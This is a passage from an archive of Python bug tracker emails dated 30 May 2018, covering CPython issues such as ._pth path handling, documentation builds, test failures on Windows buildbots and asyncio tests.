ABI level. > *But* PyGC_Head is a strange thing since it's stored "before" the usual PyObject* pointer, so fields starting at PyObject* address are not affected by this change, no? I think so. > Hopefully, PyGC_Head seems to be excluded from PyGC_Head, and so it seems like the PR 7043 doesn't break the stable *ABI*. s/from PyGC_Head/from PyObject/ I think so. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:41:32 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 30 May 2018 12:41:32 +0000 Subject: [issue33695] Have shutil.copytree(), copy() and copystat() use cached scandir() stat()s In-Reply-To: <1527682955.69.0.682650639539.issue33695@psf.upfronthosting.co.za> Message-ID: <1527684092.07.0.682650639539.issue33695@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +benhoyt, benjamin.peterson, brett.cannon, ncoghlan, serhiy.storchaka, stutzbach, tarek, vstinner, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:19:21 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 13:19:21 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527686361.05.0.682650639539.issue29326@psf.upfronthosting.co.za> Vladimir Chebotarev added the comment: Hi. I guess this issue has to be reopen because Alexey erroneously broke adding empty paths to `sys.path` along with his patch. Official embeddable Pythons do contain a blank line in its ._pth, and this allowed users to import modules from script directory. Kind regards, Vladimir. ---------- nosy: +excitoon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:20:02 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 30 May 2018 13:20:02 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined Message-ID: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> New submission from Andr?s Delfino : On bug 33673, I fixed python-docs-theme only getting installed if SPHINXBUILD was not defined and Sphinx was not installed, which was an improvement, but not the correct fix for python-docs-theme installation. Now, python-docs-theme is getting installed only if SPHINXBUILD is not defined. The attached PR fixes this, and also removes two variable assignments that are no-ops: both variables are already defined by the user as environment variables or by the script at that point. ---------- components: Windows messages: 318183 nosy: adelfino, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Install python-docs-theme even if SPHINXBUILD is defined type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:20:16 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 30 May 2018 13:20:16 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined In-Reply-To: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> Message-ID: <1527686416.4.0.682650639539.issue33696@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6868 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:22:10 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 13:22:10 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527686530.24.0.682650639539.issue29326@psf.upfronthosting.co.za> Vladimir Chebotarev added the comment: I shall attach pull request soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:25:24 2018 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 30 May 2018 13:25:24 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527686724.88.0.682650639539.issue33692@psf.upfronthosting.co.za> Xiang Zhang added the comment: Yes, it's on MacOS. libedit and GNU deadline both have the behavior. I can see the same behavior on Ubuntu, LANG=en_US.UTF-8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:47:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 13:47:00 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527688020.42.0.682650639539.issue33597@psf.upfronthosting.co.za> STINNER Victor added the comment: "Hopefully, PyGC_Head seems to be excluded from PyGC_Head, and so it seems like the PR 7043 doesn't break the stable *ABI*." Oops, I mean: PyGC_Head seems to be excluded *from the Py_LIMITED_API*. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 09:47:50 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 13:47:50 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527688070.84.0.682650639539.issue29326@psf.upfronthosting.co.za> Change by Vladimir Chebotarev : ---------- pull_requests: +6869 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:13:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 14:13:43 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527689623.45.0.682650639539.issue33692@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6871 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:30:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 14:30:59 +0000 Subject: [issue33697] AppVeyor: Message-ID: <1527690659.62.0.682650639539.issue33697@psf.upfronthosting.co.za> New submission from STINNER Victor : On my PR 7244, test_zipfile.test_write_filtered_python_package() failed on AppVeyor. https://ci.appveyor.com/project/python/cpython/build/3.6build16559/job/3lqiymop38oorsn0 ====================================================================== ERROR: test_write_filtered_python_package (test.test_zipfile.PyZipFileTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\projects\cpython\lib\test\test_zipfile.py", line 851, in test_write_filtered_python_package zipfp.writepy(packagedir) File "C:\projects\cpython\lib\zipfile.py", line 1849, in writepy filterfunc=filterfunc) # Recursive call File "C:\projects\cpython\lib\zipfile.py", line 1849, in writepy filterfunc=filterfunc) # Recursive call File "C:\projects\cpython\lib\zipfile.py", line 1856, in writepy basename) File "C:\projects\cpython\lib\zipfile.py", line 1935, in _get_codename if _compile(file_py): File "C:\projects\cpython\lib\zipfile.py", line 1898, in _compile py_compile.compile(file, doraise=True, optimize=optimize) File "C:\projects\cpython\lib\py_compile.py", line 143, in compile importlib._bootstrap_external._write_atomic(cfile, bytecode, mode) File "", line 119, in _write_atomic PermissionError: [WinError 5] Access is denied: 'C:\\projects\\cpython\\lib\\test\\test_importlib\\source\\__pycache__\\test_path_hook.cpython-36.pyc.44848936' -> 'C:\\projects\\cpython\\lib\\test\\test_importlib\\source\\__pycache__\\test_path_hook.cpython-36.pyc' ---------- components: Tests, Windows messages: 318188 nosy: paul.moore, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: AppVeyor: versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:31:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 14:31:16 +0000 Subject: [issue33697] test_zipfile.test_write_filtered_python_package() failed on AppVeyor, Python 3.6 In-Reply-To: <1527690659.62.0.682650639539.issue33697@psf.upfronthosting.co.za> Message-ID: <1527690676.82.0.682650639539.issue33697@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: AppVeyor: -> test_zipfile.test_write_filtered_python_package() failed on AppVeyor, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:44:14 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 30 May 2018 14:44:14 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527691454.54.0.682650639539.issue33692@psf.upfronthosting.co.za> Ned Deily added the comment: So it's not a macOS-specific issue: editing the title et al accordingly ---------- nosy: -ronaldoussoren title: Chinese characters issue with input() function under Mac OSX -> Chinese characters issue with input() function _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:44:35 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 30 May 2018 14:44:35 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527691475.19.0.682650639539.issue33692@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: -ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:49:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 14:49:10 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527691750.17.0.682650639539.issue33692@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset f7a19c28bda7b0ed3a440db80202013a86af6850 by Victor Stinner in branch '3.6': bpo-33692: pythoninfo detect libedit on Python 3.6 (GH-7244) https://github.com/python/cpython/commit/f7a19c28bda7b0ed3a440db80202013a86af6850 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 10:50:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 14:50:52 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527691852.94.0.682650639539.issue33692@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6872 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 11:14:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 15:14:52 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527693292.61.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6873 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 11:24:44 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 15:24:44 +0000 Subject: [issue29512] regrtest refleak: implement bisection feature In-Reply-To: <1486640763.77.0.630012847727.issue29512@psf.upfronthosting.co.za> Message-ID: <1527693884.15.0.682650639539.issue29512@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 823c295efa4efea93cadc640ed6122cd9d86cec4 by Victor Stinner in branch '2.7': bpo-29512: Rename Lib/test/bisect.py to bisect_cmd.py (#7229) https://github.com/python/cpython/commit/823c295efa4efea93cadc640ed6122cd9d86cec4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 11:25:05 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 15:25:05 +0000 Subject: [issue29512] regrtest refleak: implement bisection feature In-Reply-To: <1486640763.77.0.630012847727.issue29512@psf.upfronthosting.co.za> Message-ID: <1527693905.77.0.682650639539.issue29512@psf.upfronthosting.co.za> STINNER Victor added the comment: One year later, all issues have now been fixed ;-) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 11:43:26 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 15:43:26 +0000 Subject: [issue33694] test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x In-Reply-To: <1527679178.26.0.682650639539.issue33694@psf.upfronthosting.co.za> Message-ID: <1527695006.87.0.682650639539.issue33694@psf.upfronthosting.co.za> Yury Selivanov added the comment: I can't reproduce test_start_tls_server_1 fails when I do (screenshot attached) 1. run test_asyncio 2. run test_asyncio.test_sslproto 3. run test_asyncio.test_sslproto -m test_start_tls_server_1 I run them in Windows 7 VM on Mac OS. All other tests pass fine for me except test_sendfile_close_peer_in_the_middle_of_receiving. Andrew, please look at this, this is your test, and I'm not sure I follow why we use SNDBUF at all. IMO it should be possible to write a test without using that (or if not, maybe time to use mocks). With regards to start_tls tests -- I give up, I don't have time to look into this before 3.7.0. I suggest to mask the test on the specific win buildbot it crashes on and fix it before 3.7.1 (or maybe when Windows users come up with a reliable way to reproduce the bug). ---------- Added file: https://bugs.python.org/file47626/Screen Shot 2018-05-30 at 11.38.38 AM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 11:49:36 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 30 May 2018 15:49:36 +0000 Subject: [issue33694] test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x In-Reply-To: <1527679178.26.0.682650639539.issue33694@psf.upfronthosting.co.za> Message-ID: <1527695376.06.0.682650639539.issue33694@psf.upfronthosting.co.za> Andrew Svetlov added the comment: I used SNDBUF to enforce send buffer overloading. It is not required by sendfile tests but I thought that better to have non-mocked way to test such situations. We can remove the socket buffers size manipulation at all without any problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 11:50:28 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 30 May 2018 15:50:28 +0000 Subject: [issue33694] test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x In-Reply-To: <1527679178.26.0.682650639539.issue33694@psf.upfronthosting.co.za> Message-ID: <1527695428.44.0.682650639539.issue33694@psf.upfronthosting.co.za> Yury Selivanov added the comment: > We can remove the socket buffers size manipulation at all without any problem. When I tried to do that I think I was having more failures with that test. But really up to you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:05:22 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 30 May 2018 16:05:22 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527696322.65.0.682650639539.issue29326@psf.upfronthosting.co.za> Steve Dower added the comment: The python._pth file generated for the embeddable distribution includes ".", which allows you to import from the dist directory. The blank line should be ignored. If you want to misuse the embeddable distribution by not restricting its search paths, delete the ._pth file. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:08:28 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 30 May 2018 16:08:28 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined In-Reply-To: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> Message-ID: <1527696508.46.0.682650639539.issue33696@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 05f1c8902c78dce66aed067444e2b973221bae2b by Steve Dower (Andr?s Delfino) in branch 'master': bpo-33696: Install python-docs-theme even if SPHINXBUILD is defined (GH-7242) https://github.com/python/cpython/commit/05f1c8902c78dce66aed067444e2b973221bae2b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:08:49 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 30 May 2018 16:08:49 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined In-Reply-To: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> Message-ID: <1527696529.89.0.682650639539.issue33696@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6874 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:09:37 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 30 May 2018 16:09:37 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined In-Reply-To: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> Message-ID: <1527696577.03.0.682650639539.issue33696@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6875 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:35:01 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 30 May 2018 16:35:01 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527698101.52.0.682650639539.issue33615@psf.upfronthosting.co.za> Change by Eric Snow : ---------- keywords: +patch pull_requests: +6876 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:35:01 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 30 May 2018 16:35:01 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1527698101.85.0.0935424498089.issue32604@psf.upfronthosting.co.za> Change by Eric Snow : ---------- pull_requests: +6877 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:48:38 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 16:48:38 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527698918.32.0.682650639539.issue29326@psf.upfronthosting.co.za> Vladimir Chebotarev added the comment: Hi Steve. I'll try to explain what is my motivation. I need a reliable way to run Python (not matter embedded or not) in isolated mode, but still having current directory in `sys.path` (empty entry). Ironically I could misuse normal mode to simulate isolated mode with specified %PYTHONPATH% (which is not much handy, by the way), but hiding Windows Registry keys would look pretty hard (it is impossible to make a bat/cmd wrapper). Possibility to search %PYTHONPATH% in HKLM entries makes it even worse. Empty entry in `sys.path` is a extremely popular thing, and many software depend on it. It looks like a bug that isolated mode cannot support such entry. # How would I fix it. Possibly we should allow another keyword for adding an empty entry (like we have an exclusion for `import site`). Ideas are appreciated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 12:53:20 2018 From: report at bugs.python.org (Malcolm Smith) Date: Wed, 30 May 2018 16:53:20 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527699200.87.0.682650639539.issue29326@psf.upfronthosting.co.za> Malcolm Smith added the comment: FYI: I have created issue 33689 for the non-Windows-specific issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:02:25 2018 From: report at bugs.python.org (R. David Murray) Date: Wed, 30 May 2018 17:02:25 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527699745.08.0.682650639539.issue29326@psf.upfronthosting.co.za> R. David Murray added the comment: Vladimir, please open a new issue for this feature request. This issue is closed. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:08:38 2018 From: report at bugs.python.org (Ammar Askar) Date: Wed, 30 May 2018 17:08:38 +0000 Subject: [issue33689] Blank lines in .pth file cause a duplicate sys.path entry In-Reply-To: <1527634994.48.0.682650639539.issue33689@psf.upfronthosting.co.za> Message-ID: <1527700118.93.0.682650639539.issue33689@psf.upfronthosting.co.za> Ammar Askar added the comment: If this is actually an issue, and not just a documentation lapse I can create a pull request from my original patch. ---------- nosy: +ammar2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:12:41 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 17:12:41 +0000 Subject: [issue33698] `._pth` does not allow to populate `sys.path` empty entry Message-ID: <1527700361.05.0.682650639539.issue33698@psf.upfronthosting.co.za> New submission from Vladimir Chebotarev : Moving from bpo-29326 ==== Hi Steve. I'll try to explain what is my motivation. I need a reliable way to run Python (not matter embedded or not) in isolated mode, but still having current directory in `sys.path` (empty entry). Ironically I could misuse normal mode to simulate isolated mode with specified %PYTHONPATH% (which is not much handy, by the way), but hiding Windows Registry keys would look pretty hard (it is impossible to make a bat/cmd wrapper). Possibility to search %PYTHONPATH% in HKLM entries makes it even worse. Empty entry in `sys.path` is a extremely popular thing, and many software depend on it. It looks like a bug that isolated mode cannot support such entry. # How would I fix it. Possibly we should allow another keyword for adding an empty entry (like we have an exclusion for `import site`). Ideas are appreciated. ---------- assignee: docs at python components: Documentation, Windows messages: 318202 nosy: docs at python, excitoon, paul.moore, steve.dower, tim.golden, zach.ware priority: normal pull_requests: 6878 severity: normal status: open title: `._pth` does not allow to populate `sys.path` empty entry type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:32:43 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 30 May 2018 17:32:43 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined In-Reply-To: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> Message-ID: <1527701563.61.0.682650639539.issue33696@psf.upfronthosting.co.za> miss-islington added the comment: New changeset ea1982a475a619500c93bc3d60c6cb63a202b7ed by Miss Islington (bot) in branch '3.7': bpo-33696: Install python-docs-theme even if SPHINXBUILD is defined (GH-7242) https://github.com/python/cpython/commit/ea1982a475a619500c93bc3d60c6cb63a202b7ed ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:32:53 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 17:32:53 +0000 Subject: [issue33698] `._pth` does not allow to populate `sys.path` with empty entry In-Reply-To: <1527700361.05.0.682650639539.issue33698@psf.upfronthosting.co.za> Message-ID: <1527701573.3.0.682650639539.issue33698@psf.upfronthosting.co.za> Change by Vladimir Chebotarev : ---------- title: `._pth` does not allow to populate `sys.path` empty entry -> `._pth` does not allow to populate `sys.path` with empty entry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:37:57 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 30 May 2018 17:37:57 +0000 Subject: [issue33696] Install python-docs-theme even if SPHINXBUILD is defined In-Reply-To: <1527686402.52.0.682650639539.issue33696@psf.upfronthosting.co.za> Message-ID: <1527701877.76.0.682650639539.issue33696@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 7301dd91e8326e9b74932e81f400aaee76d3cda1 by Miss Islington (bot) in branch '3.6': bpo-33696: Install python-docs-theme even if SPHINXBUILD is defined (GH-7242) https://github.com/python/cpython/commit/7301dd91e8326e9b74932e81f400aaee76d3cda1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:38:46 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Wed, 30 May 2018 17:38:46 +0000 Subject: [issue29326] Blank lines in ._pth file are not ignored In-Reply-To: <1484844872.11.0.819349056222.issue29326@psf.upfronthosting.co.za> Message-ID: <1527701926.96.0.682650639539.issue29326@psf.upfronthosting.co.za> Change by Vladimir Chebotarev : ---------- pull_requests: -6869 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 13:53:49 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 30 May 2018 17:53:49 +0000 Subject: [issue33238] AssertionError on await of Future returned by asyncio.wrap_future In-Reply-To: <1523037765.71.0.682650639539.issue33238@psf.upfronthosting.co.za> Message-ID: <1527702829.63.0.682650639539.issue33238@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 15:39:42 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 30 May 2018 19:39:42 +0000 Subject: [issue33699] Don't describe try's else clause in a footnote Message-ID: <1527709182.68.0.682650639539.issue33699@psf.upfronthosting.co.za> New submission from Andr?s Delfino : This behavior has not changed in 11 years so I think it's safe to describe the "else" clause along the rest of the "try" clause. Attached PR fixes this. ---------- assignee: docs at python components: Documentation messages: 318205 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Don't describe try's else clause in a footnote type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 15:40:33 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 30 May 2018 19:40:33 +0000 Subject: [issue33699] Don't describe try's else clause in a footnote In-Reply-To: <1527709182.68.0.682650639539.issue33699@psf.upfronthosting.co.za> Message-ID: <1527709233.19.0.682650639539.issue33699@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6881 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 16:12:59 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 30 May 2018 20:12:59 +0000 Subject: [issue2504] Add gettext.pgettext() and variants support In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za> Message-ID: <1527711179.83.0.682650639539.issue2504@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- pull_requests: +6882 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 16:17:47 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 30 May 2018 20:17:47 +0000 Subject: [issue2504] Add gettext.pgettext() and variants support In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za> Message-ID: <1527711467.3.0.682650639539.issue2504@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I've created a pull request for this based on ?ric's patch in 2010. I attempted to incorporate the changes from #29755 into the new functions and tests. I believe these changes take care of items 1 and 2 from msg122439. I haven't tried to address item 3 in msg122439 yet. Since this is already a large change, item 4 in msg122439 might be better as its own issue. ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 16:55:07 2018 From: report at bugs.python.org (Mark Roseman) Date: Wed, 30 May 2018 20:55:07 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1527713707.84.0.682650639539.issue33479@psf.upfronthosting.co.za> Mark Roseman added the comment: I've made some changes to what Ivan started, which you can find here: https://github.com/roseman/cpython/tree/tkinter_docs The first two commits are minor updates/improvements not really related to threading, and I suspect are uncontroversial. The last commit rewrites the thread model section. The main focus is on how things work in practice, and to eliminate what I previously referred to as "fighting" between the two models. It explains how Python and Tcl differ on threads, the mappings between threads and interpreters, etc. It plays down the comparison to other GUI toolkit event models. It still highlights the difference for people familiar with them. It doesn't try to teach both models for those who don't know either (which includes those who may not have done much if any GUI programming) since that is extraneous to their present needs. It talks simply about why event handlers blocking is a bad thing. It avoids what I think are unnecessary details about Tcl in this context. There is then an area for special cases that highlight the various actual trouble spots when it comes to threads, what can cause them, and how to avoid them. I hope this covers the real issues without overly complicating things. Any thoughts? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:10:08 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 30 May 2018 21:10:08 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527714608.55.0.682650639539.issue31368@psf.upfronthosting.co.za> Change by Pablo Galindo Salgado : ---------- pull_requests: +6883 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:36:14 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 21:36:14 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527716174.64.0.682650639539.issue33692@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 9994eff17f943fb2c190708b12c96fef9838a425 by Victor Stinner in branch '2.7': bpo-33692: pythoninfo detect libedit on Python 2.7 (#7246) https://github.com/python/cpython/commit/9994eff17f943fb2c190708b12c96fef9838a425 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:38:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 21:38:11 +0000 Subject: [issue33694] test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x In-Reply-To: <1527679178.26.0.682650639539.issue33694@psf.upfronthosting.co.za> Message-ID: <1527716291.91.0.682650639539.issue33694@psf.upfronthosting.co.za> STINNER Victor added the comment: > I used SNDBUF to enforce send buffer overloading. What is that? Would you mind to elaborate? I'm curious :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:44:23 2018 From: report at bugs.python.org (Julien Palard) Date: Wed, 30 May 2018 21:44:23 +0000 Subject: [issue33700] [doc] Old version picker don't understand language tags in URL Message-ID: <1527716663.86.0.682650639539.issue33700@psf.upfronthosting.co.za> New submission from Julien Palard : In the old version picker used back in 3.5 [1], the function patch_url was patching using the following regex: var url_re = /\.org\/(\d|py3k|dev|((release\/)?\d\.\d[\w\d\.]*))\//, which does not expects a language tag. This means, for example, that being on https://docs.python.org/fr/3.5/library/__main__.html and switching to 3.6 will fail (but the reverse will succeed as the implementation of the switcher in 3.6 understands the language tag). I see two potential fixes: - Fix in the 3.5 branch which is not allowed as the branch is in "security only" mode. - Add a rule, nginx-side, to fix the misconstructed URLS (looking like /3.6/fr/3.5/library/...) 